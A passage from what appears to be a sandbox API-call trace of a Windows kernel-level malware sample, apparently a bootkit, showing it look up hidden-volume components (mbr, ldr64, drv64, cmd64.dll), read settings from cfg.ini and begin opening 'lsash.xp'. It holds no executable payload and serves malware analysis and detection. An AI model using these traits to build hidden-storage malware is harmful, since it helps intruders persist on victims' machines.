FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.330] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.330] IdePortDispatch () returned 0x103 [0123.330] KeWaitForMutexObject () returned 0x0 [0123.331] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.331] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.331] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.331] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.331] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.331] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.331] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.331] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.331] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.331] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.331] KeLeaveCriticalRegion () [0123.331] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.331] ReleaseMutex (hMutex=0x100) returned 1 [0123.331] Sleep (dwMilliseconds=0x2bf20) [0123.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cb54e90, dwHighDateTime=0x1d24fa4)) [0123.337] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.337] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.337] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.337] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.337] KeEnterCriticalRegion () [0123.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.337] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.337] IdePortDispatch () returned 0x103 [0123.338] KeWaitForMutexObject () returned 0x0 [0123.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebf60 [0123.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.338] KeLeaveCriticalRegion () [0123.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.338] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.338] KeEnterCriticalRegion () [0123.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.338] KeLeaveCriticalRegion () [0123.338] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.338] KeEnterCriticalRegion () [0123.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.338] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.338] IdePortDispatch () returned 0x103 [0123.338] KeWaitForMutexObject () returned 0x0 [0123.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.338] KeLeaveCriticalRegion () [0123.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.338] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.339] KeEnterCriticalRegion () [0123.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348d000 [0123.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.339] IdePortDispatch () returned 0x103 [0123.339] KeWaitForMutexObject () returned 0x0 [0123.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.339] IdePortDispatch () returned 0x103 [0123.339] KeWaitForMutexObject () returned 0x0 [0123.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.339] KeLeaveCriticalRegion () [0123.339] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.340] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.340] KeEnterCriticalRegion () [0123.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] KeLeaveCriticalRegion () [0123.340] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.340] KeEnterCriticalRegion () [0123.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] KeLeaveCriticalRegion () [0123.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.340] KeEnterCriticalRegion () [0123.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] ExFreePoolWithTag (P=0xfffffa8003bebf60, Tag=0x0) [0123.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] KeLeaveCriticalRegion () [0123.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.340] ReleaseMutex (hMutex=0xf0) returned 1 [0123.340] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.340] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.340] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.340] KeEnterCriticalRegion () [0123.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.340] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.340] IdePortDispatch () returned 0x103 [0123.340] KeWaitForMutexObject () returned 0x0 [0123.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.341] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9ac0 [0123.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.341] KeLeaveCriticalRegion () [0123.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.341] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.341] KeEnterCriticalRegion () [0123.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.341] KeLeaveCriticalRegion () [0123.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.341] KeEnterCriticalRegion () [0123.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.341] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.341] IdePortDispatch () returned 0x103 [0123.341] KeWaitForMutexObject () returned 0x0 [0123.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.341] KeLeaveCriticalRegion () [0123.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.341] KeEnterCriticalRegion () [0123.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.341] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348e000 [0123.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.342] IdePortDispatch () returned 0x103 [0123.342] KeWaitForMutexObject () returned 0x0 [0123.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.342] IdePortDispatch () returned 0x103 [0123.342] KeWaitForMutexObject () returned 0x0 [0123.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.342] KeLeaveCriticalRegion () [0123.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.343] KeEnterCriticalRegion () [0123.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] KeLeaveCriticalRegion () [0123.343] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.343] KeEnterCriticalRegion () [0123.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.343] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] KeLeaveCriticalRegion () [0123.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.343] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.343] KeEnterCriticalRegion () [0123.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] ExFreePoolWithTag (P=0xfffffa8003be9ac0, Tag=0x0) [0123.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] KeLeaveCriticalRegion () [0123.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.343] ReleaseMutex (hMutex=0xf0) returned 1 [0123.343] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.343] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.343] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.343] KeEnterCriticalRegion () [0123.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.343] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.343] IdePortDispatch () returned 0x103 [0123.343] KeWaitForMutexObject () returned 0x0 [0123.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.343] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.343] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.343] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.344] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.344] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebb40 [0123.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.344] KeLeaveCriticalRegion () [0123.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.344] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.344] KeEnterCriticalRegion () [0123.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.344] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.344] KeLeaveCriticalRegion () [0123.344] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.344] KeEnterCriticalRegion () [0123.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.344] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.344] IdePortDispatch () returned 0x103 [0123.344] KeWaitForMutexObject () returned 0x0 [0123.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.344] KeLeaveCriticalRegion () [0123.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.344] KeEnterCriticalRegion () [0123.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348f000 [0123.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.344] IdePortDispatch () returned 0x103 [0123.344] KeWaitForMutexObject () returned 0x0 [0123.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.345] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.345] IdePortDispatch () returned 0x103 [0123.345] KeWaitForMutexObject () returned 0x0 [0123.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.345] KeLeaveCriticalRegion () [0123.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.345] KeEnterCriticalRegion () [0123.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.345] KeLeaveCriticalRegion () [0123.346] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.346] KeEnterCriticalRegion () [0123.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.346] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.346] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.346] KeLeaveCriticalRegion () [0123.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.346] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.346] KeEnterCriticalRegion () [0123.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.346] ExFreePoolWithTag (P=0xfffffa8003bebb40, Tag=0x0) [0123.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.346] KeLeaveCriticalRegion () [0123.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.346] ReleaseMutex (hMutex=0xf0) returned 1 [0123.346] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.346] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.346] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: 